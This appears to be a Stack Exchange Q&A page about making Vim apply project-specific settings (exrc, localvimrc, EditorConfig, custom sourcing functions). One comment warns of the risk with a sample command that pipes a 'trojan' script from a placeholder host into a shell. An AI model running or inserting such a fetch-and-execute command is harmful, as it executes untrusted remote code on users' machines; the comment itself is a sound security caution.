33

At my work we use a standard ts of 2; my personal preference is 4, which is what I use for my hobby projects, and this other project we inherited has the convention of ts=8.

There are also some other settings I want to set on a project basis (for example folding). Basing these settings on the filetype or auto-detecting them based on what the file uses are not good options, since I want to respect each project's conventions.

Can I make Vim use a settings file that applies to a project (everything in a directory tree) without adding a modeline to all the files?

20

There are a few lightweight ways to do this.

  1. Check for a file of given name and source it

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    The file is hidden in the example but that's optional.

  2. Local .vimrc files (not the same as the plugin)

    set exrc
    

    This is similar to 1. but the file will be called ".vimrc".

    A common suggestion to accompany this is to use

    set secure
    

    which prevents a .vimrc file from doing potentially dangerous things like running shell commands. The idea is that you wouldn't want to have vim read a .vimrc file written by someone else that does something nasty.

  3. Autocommands that check the current path

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    This is the option I use. I don't change much between different projects so YMMV but if you just want to do one or two things based on path and keep it in your .vimrc this is nice and simple.

  • Note that option 1 and 2 has the same limitation described in this comment: it doesn't recursively apply to subdirectories. – user18456 Aug 3 '18 at 16:00
15

I use localvimrc for this purpose.

Put a .lvimrc with your project settings inside your project and these settings will override settings in .vimrc.

By default, you will be asked if you want to source this file, eg:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

This is to prevent sourcing random (untrusted) vimrc files. If you find this annoying, you can setup a whitelist of .lvimrc files with g:localvimrc_whitelist:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

Or you can just disable asking for confirmation completely with set g:localvimrc_ask = 0. This is not recommended, though.

5

Central configuration

If it's okay to configure the specific commands / local exceptions centrally, you can put such autocmds into your ~/.vimrc:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

It is important to use :setlocal instead of :set, and likewise :map <buffer> ... and :command! -buffer ....

On the other hand, if you want the specific configuration stored with the project (and don't want to embed this in all files via modelines), you have the following two options:

Local config with built-in functionality

If you always start Vim from the project root directory, the built-in

:set exrc

enables the reading of a .vimrc file from the current directory. You can place the :set ts=4 sw=4 commands in there.

Local config through plugin

Otherwise, you need the help of a plugin; there are several on vim.org; I can recommend the localrc plugin, which even allows local filetype-specific configuration.

Note that reading configuration from the file system has security implications; you may want to :set secure.

  • 2
    Note that .exrc are extremely limited: the project notion stops at the current directory, i.e. files in subdirectories don't belong to the project. – Luc Hermitte Apr 29 '15 at 7:44
4

There is the Editor Config project which allows you to define project level configurations like tabstop settings along with new line styles and other things. There are many plugging for all sorts of editors including vim. It also allows you to define settings for different file types.

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2
0

I wrote this and added it to my .vimrc to allow me to place .vimsettings files in projects and sub-projects.

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))
  • While this works, it can be considered dangerous since you're just sourcing a file, and executing all commands in it (including shell commands, such as system('curl http://example.com/install-trojan.sh | sh') ... – Martin Tournoij May 2 '15 at 23:50
0

I wanted this so I just implemented it locally. I'm not as concerned with "executing random code" but this may work for simple needs. Adjust filenames as necessary.

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

This local.vimrc is actually a symlink to a file in my substantial collection of per-company vimrc files which I can keep in source control elsewhere, which makes it easy to move my whole config to other machines or if I visit a company on-site or something. Cascading configs could be used but in practice I don't need that functionality. I also wire up F8 to open that found file and my "main" .vimrc in a new tab...

Inside those local configs, since they're parsed for every opened file, be sure to set you mappings and settings to buffer-local. E.g.

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.